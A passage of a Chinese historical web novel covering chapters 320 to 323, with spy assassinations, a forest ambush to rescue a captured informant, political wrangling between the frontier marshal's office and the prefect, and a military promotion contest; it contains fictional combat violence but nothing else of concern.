此刻,他眼中闪过一丝凌厉的杀机。故意选择了一条通往居民区的路线,专挑人多眼杂的地方走,然后突然拐进一条狭窄的、堆满杂物的巷子。
一名跟踪者毫不犹豫地跟进巷子,另一人则迅速绕向巷子的另一端包抄。
先进巷子的跟踪者发现目标消失,只见幌子倚在墙边,箱子放在地上,好
那人心中一惊,急忙上前,同时手摸向腰间的短刃。
“兄台,在找什么呢?”
戏谑的声音从头顶传来。跟踪者骇然抬头,只见陈豹正如同壁虎般,双脚撑住两侧墙壁,居高临下地看着他,脸上带着冰冷的笑意。
跟踪者刚想拔刀呼喊,陈豹已如猎鹰般扑下,手中寒光一闪,一柄特制的窄刃短刀精准地划过了对方的咽喉。
跟踪者捂着喷血的脖子,难以置信地软倒在地。
陈豹迅速落地,动作麻利地打开随身木箱。这箱子内有夹层和机关,他迅速脱下说书人的长衫,换上一套深蓝色的粗布短打,将染血的短刀擦拭后插入绑腿,幌子折叠塞进箱底暗格。
转眼间,说书先生陈豹变成了一个寻常的货郎模样。他提起箱子,从容走向巷口。
另一名跟踪者正守在巷子另一端,假装整理扁担上的绳索,眼角余光紧盯着巷内。他看到换装后的陈豹走出,先是愣了一下,觉得身形有些眼熟,但装扮完全不同,一时未能确定。
就在他犹豫的瞬间,陈豹已与他擦肩而过,同时手臂看似随意地一摆,短刀再次出击,精准地刺入他的肾脏,同时另一只手捂住他的口鼻。
跟踪者浑身剧颤,眼中充满恐惧和痛苦,很快便没了声息。陈豹将他拖到墙角杂物堆后隐匿,整个过程干净利落,不过几个呼吸之间。
午后,“老张土菜馆”斜对面的杂货铺,悄然换了一位面容憨厚、眼神却透着精明的“新掌柜”。
幽州城,那条无名街巷,两具尸体引起民众恐慌、报官。而地下战线的硝烟,从未真正散去。
幽州城外,往南约七八里,一片茂密树林的边缘,官道旁有一家名为“春雨”的简陋村店。
这里本是暗部一处较为偏远的外围接头点,店东家王老三原是附近村民
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,被暗部用银钱发展成下线,主要负责传递一些不甚紧急的消息,或为偶尔出城的暗部人员提供歇脚、换马之便。
此人察言观色、心思活络却也有些贪图小利,近来城内风声紧,多个散播消息的地痞被抓,虽无关紧要,未直接牵扯到他,但暗部已下达指令,要求此点暂停活动,人员酌情撤离。
王老三却舍不得这间能赚些辛苦钱的店铺,心存侥幸,以为地处偏僻不会有事,他又是外围人员,只是减少了活动,并未及时撤离。
三月初七,这日午后,阳光透过刚刚萌发新芽的树枝,洒在店前的空地上。
几桌零散的客商正在喝茶歇脚。
店东家王老三心神不宁地擦着桌子,招呼客人,他的侥幸心理,在听到官道上传来杂乱而沉重的脚步声兼有零星马蹄声时,瞬间化为乌有。
只见一队约三十余人的官兵疾行而至,他们大多为步卒,气喘吁吁,唯有领头的队正和几名副手骑着健马,显得威风凛凛。
这队官兵身着幽州刺史府的号衣,刀甲虽非顶级,却也鲜明整齐。
那领头的都头眼神凶狠,扫过村店,二话不说,挥手下令:“驱散闲人,拿下店内一干人等,一个不准放过!”
步卒们如狼似虎般冲上,茶客们惊叫着四散。
“钱,还没给钱……”王老三惊慌叫嚷着上弦,却和两个伙计被粗暴地按倒在地,用粗麻绳捆成了粽子。
“官爷!冤枉啊!小人是安分良民……”王老三的挣扎喊叫,被一块馊臭的破布硬生生堵了回去。
队正冷笑:“良民?有人告你私通匪类,资助叛逆!带回大牢,细细拷问,看你嘴硬到几时!”
几人被串连起来,在官兵的押解下,垂头丧气地沿官道往幽州城方向走去。
王老三面如死灰,心中充满了悔恨。
然而,就在这官差队伍行出不到三里,进入一段两侧林木尤其葱郁的弯路时,异变陡生!
“咻咻咻——!”数支**箭从林中悄无声息地疾射而出,精准无比地射倒了押解队伍首尾的几名官兵,顿时引发一片惨嚎,队形随之大乱!
“敌袭!结阵!”官兵惊慌大喊。
“杀!”如同惊雷炸响,一声暴喝从林中传出。代号“大虎”的行动队长石雄,一马当先跃出!
他身形魁梧如山,手持一柄厚背**,气势宛若猛虎下山。身后十余名行动队员如鬼魅般现身,人人蒙着面,手持刀盾,刀光闪动,动作迅捷狠辣,瞬间就将混乱的官兵队伍切割开来。
第320章 火速营救,狼卫追袭
“杀!”林子外,喊杀震天!
石雄勇不可当,厚背**挥过,带着骇人的风啸,一名试图抵挡的官兵连人带刀竟被硬生生劈飞出去!
他的目光如电,瞬间锁定了那名仍在马背上呼喝、试图重整队伍的骑兵都头。
正所谓“擒贼先擒王”!石雄毫不犹豫,如同炮弹般直冲过去,沿途试图阻拦的步卒非死即伤。
那都头见这煞神直冲自己而来,惊骇之下挺枪便刺。
石雄一个迅捷的侧身闪过来枪,钵盂大的拳头蕴含着千钧之力,猛地砸在战马的脖颈侧面!战马吃痛,发出一声悲鸣,踉跄着向一旁歪去。
马背上的都头顿时身形不稳,叫嚷声却戛然而止。
就在这电光石火之间,石雄的**划出一道冰冷的弧线!
刀光闪过,一颗满脸惊愕的头颅冲天而起,鲜血如泉喷涌!
那无头的尸身晃了晃,从受惊的马背上栽落。
“啊,蔡都头**!”
领队瞬间被阵斩,本就混乱的官兵队伍彻底丧失了斗志,陷入一片恐慌。
而石雄身后的十余名行动队员,此刻展现出极高的战术素养。
他们并非一窝蜂的乱冲,而是迅速分成明确的三组,形成了层次分明的推进、攻击波次:正面**,侧翼掩护,远程狙杀,三位一体。
这三组人马配合默契,如同一台高效的杀戮机器。
“咻!咻!”的**箭破空声不绝于耳,精准地点名那些试图组织反抗、取弓或逃跑的官兵。
这袭击来得太突然了,官兵们被打了个措手不及,进退失据,不断有人中刀倒地或被**箭射穿,惨叫声此起彼伏,鲜血迅速染红了地面。
这场一边倒的**,在石雄阵斩敌将和行动队精妙战术的打击下,迅速演变成一场彻底的溃败。
石雄眼中凶光一闪,欲要下令全歼,永绝后患。
可就在这时,“噗”的一声轻响,紧随而来的是一声闷哼!
一名正在追击的行动队员肩头中箭,踉跄后退。
石雄豁然转头,只见官道尽头,数骑快马如飞掠至,当先一名骑士弓弦犹自震动!眼神锐利,马术娴熟,透着一股寻常官兵没有的彪悍气息。
“幽狼卫!”石雄瞳孔骤然收缩。
他在幽州城蛰伏数月,深知这支直属于刺史的精锐力量,专司暗杀、追捕等脏活,极难对付。
“救人!撤!”石雄当机立断,厉声喝道。一名队员手起刀落,斩断王老三等人身上的绳索。
王老三早已腿软,瘫倒在地,涕泪横流:“多…多谢好汉救命之恩!”
“不想死就快走!”石雄不容分说,一把将他拽起。
行动队员们一边用随身短**向追兵还击掩护,一边搀扶着受伤的同伴,迅速退入阴暗的森林中。
现场只留下满地狼藉的尸体和痛苦呻吟的伤兵,以及那几名看着石雄等人撤退的幽狼卫先锋。
很快,这一队人疾驰而至,仅七八骑,却气势惊人。
他们清一色身着黑色贴身劲装,外罩轻便皮甲,头戴宽檐斗笠,遮住了大半面容。腰佩狭长的**,背上负着短**,腿上绑着**。
他们人少却装备精良整齐,行动无声,眼神冷漠如冰,透出一股毫无感情的“死士”气息。
正是幽狼卫的主力小队。
为首者是一名面色冷峻、约莫二十七八岁的青年,乃是幽狼卫的一名头领,名叫赵罡。
他勒住战马,目光扫过官道上的惨状,面色阴沉得能滴出水来。“好快的动作,好狠辣的手段!”
他心中凛然。近来幽州城**沸腾,刺史大人压力巨大,脾气暴躁如雷,严令必须揪出幕后黑手。
赵罡觉得,这既是压力,也是他立功上位的机会。眼前这群人,胆大包天,战力不俗,极可能就是刺史心心念念的那伙暗中搞鬼之人。
他看了眼这黑松林,眼中寒光一闪,没有任何犹豫。
“他们带着累赘,跑不远!”
“追!务必生擒首脑,揪出他们的巢穴!”
赵罡一挥手,七名幽狼卫纷纷下马,动作矫健,如同真正的恶狼,悄无声息地扑入了森林,沿着石雄他们留下的细微痕迹,紧追不舍。
然而,幽狼卫的追踪能力远超预期。
他们不仅经验丰富,而且极其谨慎,石雄带队停下来埋伏时,这些人立刻停下,或者绕路。
无论石雄如何带队急行、布**阵,却摆脱不了后面的追兵。他眼里寒光闪烁,必须清尾。
……
森林深处,光线昏暗。
石雄带领的队伍中,有几人原是山中猎户,对山林极为熟悉。
他们利用地形,快速布置了几个简单的陷阱。
很快,后方传来一声短促的惨叫,一名幽狼卫触发了陷阱,脚踝被绳圈吊起。
但几乎在同时,他的同伴已刀光一闪,斩断绳索,将其救下,整个过程冷静得可怕。
“头儿,他们追得很紧,是高手!”一名猎户出身的队员低声对石雄说。
石雄面色凝重:“知道了。分组!二组、三组侧翼掩护,一组随我断后!利用树木逐个击破!让他们见识一下,什么才是真正的丛林战!”
行动队迅速化整为零,依托大树、灌木和地形,与渗透进来的幽狼卫展开了惨烈的近距离猎杀与反猎杀。
林间不时爆发出金铁交鸣之声和短促的惨嚎。行动队人数稍占优,且熟悉环境,往往能借助阴影发起突袭。
一名幽狼卫在追击中被侧面飞来的猎刀精准地钉在树上。
但幽狼卫的个人武艺和小组配合
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极强,反应快得惊人。
一名行动队员刚用**箭射伤一名敌人,侧面就鬼魅般闪出另一名幽狼卫,刀光一闪,行动队员虽竭力格挡,手臂仍被划开深可见骨的血口。
石雄与赵罡,这两方的领队,也终于在林间一片稍微开阔的空地对上。没有废话,刀光瞬间绞杀在一起!
石雄的厚背**势大力沉,每一击都带着开山裂石的力量;赵罡的**则刁钻狠辣,速度奇快,专攻要害。
两人刀来刀往,火星四溅,周围的树叶都被凌厉的刀气削落。
一时间,竟难分高下,都心中暗惊于对方的实力。石雄抽出腰刀,以双刀流,狂攻对手。
过了三五招,,赵罡就被压着打。
战斗短暂而激烈。幽狼卫虽精锐,但在行动队的主场和陷阱战术下,也付出了三死一重伤的代价。
行动队这边也有数人挂彩,一人重伤需同伴背负。
赵罡勉强招架住,却被石雄一刀逼退,他见麾下损失过半,对方战术灵活,且林中环境于己方不利,再缠斗下去,恐怕会全军覆没。
他只得恨恨地发出一声唿哨“快撤。”
石雄担心后方有大队敌人,并未追击,毕竟,这几个幽狼卫的强悍,给他留下了深刻印象。
他立即清点人数,带着救出的王老三和伤员,凭借对地形的绝对熟悉,几经绕行,终于甩掉了可能的尾巴,回到了深藏在老林中的一处秘密据点。
据点内,烛火摇曳。伤员得到了初步救治,王老三惊魂未定地被安置在一旁。
石雄看着疲惫且带伤的兄弟们,眉头紧锁。这次虽然救出了人,但幽狼卫展现出的实力让他心惊。
“刺史府底蕴深厚,此番只是被打了个措手不及。我们必须提升实力,尤其是小队配合作战和反追踪能力,否则下次遭遇,胜负难料。”
他心中开始琢磨如何向军寨请求增援,或调整训练方案。
……
幽州城内的动静近来不小。
刺史府在重赏和高压之下,效率惊人,许多原本与暗部有牵连、负责传递消息的底层地痞、小头目被陆续供出逮捕。
幸好,暗部情报网核心早已遵照指令转入深度蛰伏,所有公开露面的骨干早已转移出城,此次清洗并未伤及根本。
反倒是在这场清查中,幽州刺史府借着“肃清内奸”的名头,揪出了不少其他势力如帅司,北疆经略府安插的耳目。
这个重要情报,由一直以收粪人身份做掩护的老潘头无意间听到,送出换钱,可信度极高。
明月楼的总管冯财,下令城内暗探行动需更加谨慎、他又将“春雨村店事件”、“幽狼卫出动”、“刺史府内部清洗”等情报整理汇总,通过秘密渠道,以最快的速度传回了铁血军寨。
第321章 帅司惊变,边尘乍起
三月初八,幽州帅司。
日上三竿,春日暖阳透过窗棂,斜斜洒落在檀香木公案上,映得案头文书泛着淡淡金光。
大帅吴振难得心情舒畅,手中批阅着各戍堡、边寨呈报的春耕计划与物资申请,往日紧锁的眉头舒展开来,嘴角噙着一丝若有若无的笑意。
去岁寒冬,得益于飞虎卫所献的“**”,幽州边境各戍堡、寨在抵御**小股骑兵袭扰时,战绩远胜往年,军民损失大幅降低。
这种武器造价低廉、威力惊人,早已被列为核心军备。眼下帅司正全力筹措猛火油,大批赶制。
更让他心喜的是,前些时日飞虎卫还打了场漂亮的突袭战,一举击溃了年年犯边的狼戎黑狼部落。
此役缴获颇丰,不仅有大量战马、耕牛、牲畜,还有象征部落权柄的狼旗金符,连带不少金银财物。
赵起将军凯旋时带回的这些战利品,光是牲口数千,不仅解了帅司缺耕牛、少骡马的燃眉之急,更成了他吴振向朝廷表功的扎实资本。
一想到不久后可能到来的嘉奖,任期满后或许能重返京城为官,吴振的心情便愈发轻快。
时至正午,一股浓郁的炖肉香气飘入帅衙。
——那是用缴获的肥羊烹制的美馔。
吴振放下朱笔,深吸一口香气,朗声笑道:“哈哈哈,好!铁血军寨的秦猛,果然是员猛将!赵起这次荐人有功,这秦猛也着实了不得!”
这声赞叹是发自真心,既是夸秦猛作战勇猛,也是为自己执掌的虎贲军能得此干将而欣慰。
然而,话音未落,帅衙外突然传来拖长巾的急报和脚步声。一名亲兵神色慌张,几乎是撞了进来。单膝跪地,声音带着明显的喘息:
“禀大帅,紧,紧急军情!”
“铁血军寨、南河城寨、双塔城寨,三地同时发来八百里加急申状!”
“什么?”吴振脸上的笑容瞬间僵住,心猛地一沉。
边陲三寨同时动用最高级别的急报,莫非是**大举入寇?
他几乎是从虎皮座椅上弹了起来,声音都变了调。
“快,快呈上来!”
亲兵连忙将三份封着火漆的文书捧上。吴振一把夺过,眼中满是急切,手指甚至有些颤抖地撕开封印,目光飞速扫过文书上的字迹。
起初的惊惶,迅速被惊怒与难以置信取代——文书内容并非外敌入侵,而是边陲爆发的惊天巨变!
南河城寨监镇官孙仁,因指使手下报复铁血军寨,囚禁殴打边军将士,被愤怒的军卒反杀?
双塔城寨监镇杨秋兴,通敌事发后拒不配合调查,反而袭击边军,激起“民变”,被何琼“不得已”正法?
这哪里是寻常军情报告,分明是两份措辞精巧的“控诉状”,更是魏文,何琼等人的“免责声明”!
“混账!岂有此理!”吴振脸色铁青,胸口剧烈起伏,手中的文书被他下意识捏得褶皱不堪。
自前年来幽州任职,总督兵马抵御草原鞑虏至今,他岂会不知此地远离朝堂、积弊已深?
地方官吏多与朝中重臣勾结,贪腐成风;私下向草原部落输送粮食、盐铁等违禁物资者,大有人在。
军饷克扣更是常事,边军积怨已久,与地方官吏矛盾尖锐,全靠帅司从中调解,才勉强维系着脆弱的平衡。
可眼下,这平衡眼看就要彻底崩塌!
事态若升级扩大,草原上的豺狼定会趁虚而入。
届时,他这个边防帅臣,难辞其咎。别说调回京城,能否保住头顶的乌纱都是个未知数。
搞不好,身家性命都要搭在这边陲!
“混账!都是不省心的东西!”吴振越想越怒,猛地将文书拍在案上,发出“啪”的一声巨响。
他牙关紧咬,却不知这怒火该向谁发泄——是骂秦猛、何琼、魏文先斩后奏、胆大包天?还是骂孙仁、杨秋兴蠢笨如猪、自寻死路?
帅衙内气氛瞬间凝固,众人噤若寒蝉。就在此时,门外又传来通报:“报——!飞虎卫赵起将军到访!”
吴振深吸一口气,强行压下脑中翻飞的思绪,脸色稍缓,眼神却依旧冰冷:“哼!来得正好!本帅正欲找他问个明白,让他进来!”
片刻后,赵起龙行虎步踏入帅衙。他身姿挺拔,刚毅的脸庞上阴沉如水,眉宇间带着一丝毫不掩饰的愤慨,自然是先一步收到手下来报。
虽然对双塔城寨这是有点错愕,但却没有过多意外。既然动手了,杀一个是杀,杀两个也是杀。按照事情计划好的,他来帅司阐明利弊。
吴振正欲开口喝问、先发制人,赵起却抢先一步,声音洪亮却压抑着怒气:“大帅!您想必已收到急报。监镇官公然反叛,简直无法无天!”
“南河城寨孙仁,不仅涉嫌向草原输送粮食等违禁物资,还纵容手下报复边寨、囚禁我边军多名士卒;
双塔城寨杨秋兴,通敌之外,竟敢带队反抗调查,杀伤我边寨守军!他们越发肆无忌惮,如此胡作非为,眼中还有没有王法?有没有帅司?”
说着,赵起将另一份报告——赵平送来的对两起案件的定性总结,几乎是“甩”在了吴振案头。
“大帅您看!人证物证俱在,
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证据确凿!近年来,幽州防线稳固,全靠边军儿郎流血牺牲!”
“南河城寨知寨魏文,一向战战兢兢维系边防;双塔城寨知寨何琼,早就与那黑心监镇官撕破脸皮,他俩此前多次向帅司申状,您是知道的!
若帅司早与刺史府强硬沟通,何至于落到今日地步?”
“此事已是两寨军民共愤,若处置不公,寒了将士们的心,激起营啸兵变,这责任,谁能担当得起?”
最后这句话,如同一道惊雷,在吴振耳边炸响。
“兵变……哗变……”吴振喃喃自语,额角瞬间渗出细密的冷汗。
他方才只震惊于监镇官**的事,却忽略了背后更可怕的危机。
——朝廷本就奸臣当道,这些手握刀枪、在苦寒之地戍边的士卒,平日里早受够了文官系统的窝囊气,若真被逼到绝境,什么事做不出来?
到那时,就不是死两个监镇官那么简单了,一旦有人带头,整个幽州边防都可能彻底崩溃!
赵起的话,点醒了他。
帅司此前的视而不见、对地方官吏的纵容,本就已让将士寒心。
此刻再看那三份申状,滋味已然不同。
这不是简单的犯上作乱,而是边军将士在极度委屈与愤怒下的“自救”,是魏文、何琼等人,巧妙地将可能爆发的“兵变”,引向了“锄奸”与“平乱”。
帅司若处理不当,不仅治不了“凶手”,反而可能真的引爆这颗**桶。
想通此节,吴振后背一阵发凉。
他缓缓坐下,手指轻叩桌面,沉吟良久,才沉声道:“赵将军所言……甚是。罪证确凿,孙仁、杨秋兴滥用职权,死有余辜!只是……”
他话锋一转:“此事毕竟牵扯重大,监镇官乃朝廷所派,即便有罪,也需由有司审决。如今这般处置……只怕刺史府那边,不会善罢甘休。”
赵起冷哼一声:“不善罢甘休?他们还有脸?大帅,咱们正好借此机会,反将一军!
把这些罪证直接甩到崔文远脸上,问问他——他派去的监镇官勾结外虏、**边军,该当何罪?边防帅司还没找他算账,他倒先要叫屈?”
吴振眼中精光一闪。
是啊,被动接招,不如主动出击!
秦猛等人送来的“通敌铁证”与“血泪控诉”,此刻竟成了帅司向刺史府发难的绝佳武器。
“好!”吴振猛地一拍桌案,终于下定了决心,“立刻备马!本帅要亲自去一趟刺史府,找崔文远问个明白!两城寨监镇如此无王法,看他如何解释这些‘能员干吏’的所作所为!”
第322章 暖阁对峙,刺史割肉
幽州刺史府,后堂。
“你说什么?人…,被救走了?”
空气中弥漫着一股压抑的愤怒。崔文远听着幽狼卫副统领赵罡的汇报,脸色越来越难看。
“该死,是谁,究竟是谁?”
崔文远几乎是从牙缝里挤出这句话。
近来,刺史府为了追查出暗中推动**的幕后黑手。他投入大量人力物力,精心布置,好不容易抓住一条线索,立刻派人逮住目标。
竟然在即将送回幽州城审问的关键时刻被劫走。
赵罡抬起缠着厚厚纱布的双手,声音沙哑低沉:“大人息怒。那伙歹人,不仅装备精良,而且身手了得,尤其是带头之人,悍勇无比。”
赵罡伸出虎口开裂包扎的双手,声音越发低沉:“他们只有十来人,却配合默契。招式皆是来源于军中搏杀术,绝非普通江湖匪类。”
“军中精锐?”崔文远眼中寒光一闪,“是帅司的人?”
赵罡犹豫了一下,摇头道:“不好说。但其行事风格,狠辣果决,一个冲锋,杀得刺史府官兵溃败,倒像是……边军那群杀才的路子。”
“你的意思是……铁血军寨?”崔文远脸色剧变。
他立刻想到,只有根基在边塞、无法无天,又与自己有矛盾,哦不,是深仇大恨的秦猛,才有这个动机、胆量和能力,与自己作对。
崔文咒骂着:“该死!这铁血军寨,已成心腹之患!”
赵罡见状,把自己的想法说出来:“大人,我不敢确定,这伙人经验丰富,狠辣无情,像是训练数年。铁血军寨崛起不久,估计难以……”
“不,就是他。”崔文远眼中寒光渐盛,随即浮现出狰狞之色,咬牙切齿地低吼:“秦猛此獠睚眦必报,定然是他。竟敢把手伸到幽州城来!光天化日之下,劫杀官兵,这是公然**!”
崔文远越说越愤怒,心中的杀意沸腾。秦猛不仅除掉刘德福,屡次破坏他的财路,如今更是直接打上门来,这已是不死不休的局面。
然而,屋漏偏逢连夜雨。
还没等崔文远从目标人物被劫的震怒中缓过气,一名心腹衙役便神色慌张地跑来禀报:“大人,不好了!帅司的吴大帅和赵起将军来了,已经到了前厅,看脸色……来者不善啊!”
崔文远心中一凛,一股不祥的预感涌上心头。
帅司的人这个时候来,绝无好事!
他强压下心头怒火,整理了一下衣冠,努力让自己的表情恢复平静,但眼中的阴鸷却难以掩饰。
他迎至前厅,面上却已强行挤出一丝近乎扭曲的笑意,对着入府衙的吴振和赵起拱手道:
“哎呀,什么风把吴大帅和赵将军一同吹来了?真是稀客,稀客啊!二位联袂而至,可是有要紧事?不妨直说,崔某若能效劳,定不推辞。”
他迅速扫过两人,这话说得客气,但那笑容却未达眼底,反而透着一股皮笑肉不笑的冷意。
吴振显然没心思与他虚与委蛇,直接沉声道:“崔大人,今日前来,自然是有要事需与崔大人商议。”
“哦?商议?”崔文远眉梢微不可察地一动,侧身让开道路,“既是要事,那便请前厅暖阁详谈。二位,请。”
他刻意放缓了半步,一边引路,一边用眼角的余光打量着二人,心中那不祥的预感愈发强烈。
三人各怀心思,步入布置雅致却略显沉闷的暖阁。
侍女奉上热茶后便被挥退。
刚一落座,吴振便已懒得再绕圈子,直接将那几份申状抄件和“通敌铁证”副本,“啪”的一声重重摔在了两人之间的紫檀木茶几上。
“崔大人,还是先看看这个吧!”吴振的声音比那茶盏碰撞声更冷。
崔文远心头一跳,强自镇定地伸手取过那叠纸张。
起初,他还试图维持着从容,但目光扫过上面的字句和“证据”,他的脸色以肉眼可见的速度阴沉下去,捏着纸张的手指因用力而微微发白。
当他终于看清了南河城寨孙仁和双塔城寨杨秋兴的最终结局,以及那桩桩件件指向明确的罪状时,他脑海中那根名为理智的弦瞬间崩断!
“砰!”
崔文远猛地弹了起来,由于动作过猛,身后的梨花木椅子都向后挪了寸许,发出刺耳的摩擦声。
他脸色扭曲,伸手指着吴振和赵起,因为极致的愤怒,手指都在微微颤抖,声音陡然拔高,变得尖利刺耳:
“反了!反了!”
“边军将领擅杀朝廷命官,还是监镇官!他们是想**吗?吴大帅,赵将军,你们就是这样统兵的吗?”
他恶狠狠地盯着赵起,尤其是这位飞虎卫主将,三个军寨皆是他手下,显然是此事的重要推手。
赵起根本不惧他的目光,反而迎上前一步,声音冰冷如铁,打断了他的咆哮:“崔大人!请你看清楚!
是你派去的监镇官孙仁、杨秋兴罪大恶极!一个不仅勾结草原鞑虏,而且教唆手下公然袭击、囚禁殴打边军将士,形同谋逆!
一个与**交易粮食,盐铁等物资被抓了个正着,证据确凿,事败后还带队反抗,杀伤官兵!
按律,这就是谋反大罪!何谈擅杀?这是为国除奸!”
吴振也阴沉着脸,指着那些“罪证”:“崔大人,本帅也希望这是个误会。但这些都是从双塔城寨杨秋兴处搜出的与**往来书信、账本,还有南河城寨军民的联名**!
铁证如山!这件事,你刺史府必须给我帅司,给边军将士一个交代!否则,军心不稳,边陲生乱,**趁虚而入,这个责任你担待不起!”
崔文远气得浑身发抖,他当然知道孙仁、杨秋兴背地里的勾当,甚至其中不少是经他默许或抽成的。<
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br>但他万万没想到,事情会以这种方式被掀开,而且是以先斩后奏,如此血腥、彻底的方式。
秦猛,魏文,何琼这一手,不仅砍了他的爪牙,更是将了他一军,让他陷入了极大的被动。
帅司这是借题发挥,要趁机敲打他,甚至索要好处!
暖阁内的气氛剑拔**张。双方唇枪舌剑,互相攻讦。
崔文远矢口否认自己知情,斥责边军行事鲁莽,要求严惩秦猛等人。
而吴振和赵起则咬死“通敌”、“激变”两条大罪,寸步不让。
最终,经过一番激烈的争吵和暗藏机锋的谈判。
双方都明白,事情已经发生,人死不能复生,彻底撕破脸对谁都没好处。
崔文远不得不选择妥协。
他强压怒火,脸色铁青地表示:孙仁、杨秋兴罪有应得,死有余辜,刺史府会行文认定他们的罪行。
同时,为安抚边军,刺史府会尽快筹措一批粮饷、军械,以及部分耕牛、农具,送往铁血军寨等处以示抚慰。
并信誓旦旦地保证,会重新选派“老成持重”的官员前往各寨,协同守备,绝不再掣肘边军。
吴振和赵起心中冷笑,知道崔文远这话八成是放屁,所谓的“老成持重”不过是换一批更狡猾的爪牙。
但在目前的局面下,能逼得刺史府认栽、割肉,并拿到明面上的处理意见,已经是最好的结果。
朝堂**,各方势力纠缠,他们也不可能真的为两个罪证确凿的监镇官和刺史府彻底开战。
“既然如此,希望崔大人言出必行。边塞安宁,关乎国本,好自为之!”吴振撂下这句话,与赵起起身告辞。
送走帅司二人,崔文远回到后堂,再也压制不住内心的暴怒,他猛地一挥袖,将茶几上的茶具扫落在地,发出“哐啷”一阵刺耳的碎裂声!
“废物!都是废物!”
“孙仁!杨秋兴!死不足惜!”他像一头困兽般低声咆哮,面目狰狞。
片刻后,崔文远厉声喝道:“来人!去把别驾杨烁、治中孙强、长史苏骞全都给本官叫来!”
他的心腹爪牙们很快齐聚。
崔文远目光阴冷地扫过众人,声音如同寒冰:“秦猛……铁血军寨……此獠不除,我等寝食难安!都说说,有何良策,能将此祸患,连根拔起?”
密室内,针对铁血军寨的新一轮阴谋,开始悄然酝酿。
与此同时,官道尽头,雪尘漫卷。
一支车仗队伍如条玄色巨龙,自京城方向而来。
队伍中央,几十名精骑护卫着一辆金漆车驾,车辕上插着的明黄龙纹旗猎猎作响,昭示着天子钦差的无上威严。
前后皆有顶盔贯甲的禁军骑兵护卫,甲胄铿锵,蹄声如雷,凛气势惊起道旁寒鸦。这支浩浩荡荡的队伍,直赴幽州城这座暗流汹涌的边城。
第323章 晋级赛:大浪淘沙
幽州城暗流涌动,数百里外的铁血军寨对此尚不知情。
主考官秦猛正忙着筹备辅兵晋级赛。
消息一出,双涡堡、白松岭矿区纷纷响应,就连燕被郡城,巡检司的庞仁也派人来凑热闹。
他送来百来个表现优异者!
光是报名就持续了三四日,最后清点了人数,好家伙,此次晋级赛,竟有三千余人参赛。
附寨军营的校场、寨外的马场等地,均被设为比赛场地。
军寨外的空地上,黑压压挤满了人。
——三千余名参赛者按各自队伍列队肃立,鸦雀无声。
高台之上,秦猛对赛事极为重视,已将日常巡视任务交由亲卫副将王善负责,自己则亲自莅临。
他身着玄色常服,按刀立于台前,目光如寒星扫过全场,无形的威压让场中气氛愈发凝重。
“擂鼓!”亲卫部将**厉声喝道。
咚!咚!咚!三通鼓响,声震四野,仿佛敲在每个人的心头上。
“军寨辅兵晋级赛,正式开始!”秦猛沉声道。
“第一项,负重越野!各队前往各自赛区场地,即刻起程!”
令旗挥落,人群如开闸洪流般涌向划分好的赛场,仍保持着队列有序入场。
跑道旁,每队都有专人计时,参赛者之间也刻意保持着距离。
赛程是预设的五里山道,需在规定时间内返回终点。沿途有一队队骑兵随行,密切关注着赛场情况。
成年男子背负三十斤制式行军囊;女子队与少青队酌情减至二十斤,列队于最后;少年队仅负十斤,矮小的身影在队列中尤为显眼。
发令声落,雪尘冲天而起。
体格壮健者一马当先,如同脱缰野马,企图抢占先机;也有老成持重之人,稳控呼吸,匀速前进。
秦小芸并未争抢前列,只谨记兄长教诲,以平常心应对。她巧妙跟在几名体格健硕的妇人身后,借其破风之势节省体力,步伐轻盈而稳健。
秦猛在高台上见此情景,不禁暗暗点头。
场边,陈月娘、林婉儿与小蛮也来观赛,正紧张地注视着秦小芸、王艳等人,在心底暗暗鼓劲。
小石头、秦硕、李魁三个小鬼,自踏上跑道起就成了斗鸡眼较上劲,你追我赶,一路狂奔。
这五里路程绝非坦途,沿途不仅有积雪路段,还需爬坡、穿林、走山道。更棘手的是,冻土硬邦邦的,极易打滑,稍有不慎便会摔跤。
果不其然,有人因跑得太急,脚下踉跄,双手乱舞;有人滑倒摔了个屁墩,或是直接陷进雪壳子里。
后面的参赛者纷纷避让,偶尔传出几声低笑,也有人主动上前搀扶同伴,拉着他们一起跑——这些善举,都被监考者悄然记上一分。
此关时限为两刻钟,未完成影响成绩。摔跤的人爬起来,顾不得拍打身上的雪,便咬牙继续奔跑。
这既是一场赛事,更是一次实打实的行军磨炼。
各支队伍人员很快因体能差距,拉开了距离。
——这一关,本就是为选拔身体素质过硬、耐力超群者而设。
两刻钟后,首批返回者已汗透重衫、喘息如牛,有的浑身沾满雪泥。
通过者领到晋级号牌,未通过者则进入淘汰组。
不过,淘汰者仍可参与后续项目,只要其他项目表现优异,总分不低,仍有翻盘机会。
——秦猛办赛的宗旨,本就是以赛事练兵,而非为了盈利。
第一项负重越野结束,众人休整片刻,第二项考核随即开始。
“第二项,开硬弓!”秦猛的声音再次响起,“每人需连开六力弓三次,弓弦不满者,不计成绩!”
校场一侧,百张制式硬弓早已架好。
这对参赛者的臂力与气息控制,都是极大的考验。
一名方才在越野赛中表现迅猛的汉子,此前摔了一跤,右臂隐隐作痛,连拉两次弓已是极限,第三次刚拉到一半便脱力,弓弦回弹发出嗡鸣,他只能懊恼地退下。
边上几位评判官商议后,在册子上记录:“153号队员,因手臂不适未能通过,允许申请二次考核。”
也有看似精瘦的汉子,深吸一口气,沉腰坐马,吐气开声:“嘿!”竟稳稳将六力弓连开三次,动作标准利落。
监考军官当即在他的号牌上画了个圈,在册页上详细记录:“121号队员,臂力过人。”
参赛者陆续上场测试,其中少青队与女子队用弓为五力,少年队为三力。
(注:“力”为弓的拉力单位,一力约合12斤,十力为一石。)
在开弓这一项上,少青、女子、少年三队本就吃亏。尤其是少年队,孩子们身体尚未长开,七八十人中,能晋级下一轮的不足五分之一。
“第三项,无规则格斗!”
随着秦猛话音落下,全场气氛被彻底推向高潮。
规则划分明确:少青队、女子队可选择小队内部格斗,也可选择与其他队伍较量——后者获胜得分更高;
少年队的孩子们则被拉到一旁,仅能进行队内格斗。
早在报名阶段,场地与装备便已
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备好。众人换上皂袍,手持裹棉木棍(木棍沾有白灰,便于判定击中位置),依次进入划定的混战区域。
规则简单直接:要害被戳中,或被打出界外,即为败北。
霎时间,各赛场内棍影翻飞,呼喝与痛呼声不绝于耳。
少青队的半大小子们心高气傲,大多选择无规则格斗,结果却再次印证了“成年人与少年的差距”
——除了队长栓子和几个十六岁的后生仔,能与辅兵新兵打得不分上下,其余人要么被打得嗷嗷叫着跑出圈外,要么直接被打倒在地。
场外观赛的军民看得哈哈大笑,却也不忘高声喊着“加油”。
这场格斗赛中,亮点却在女子队。
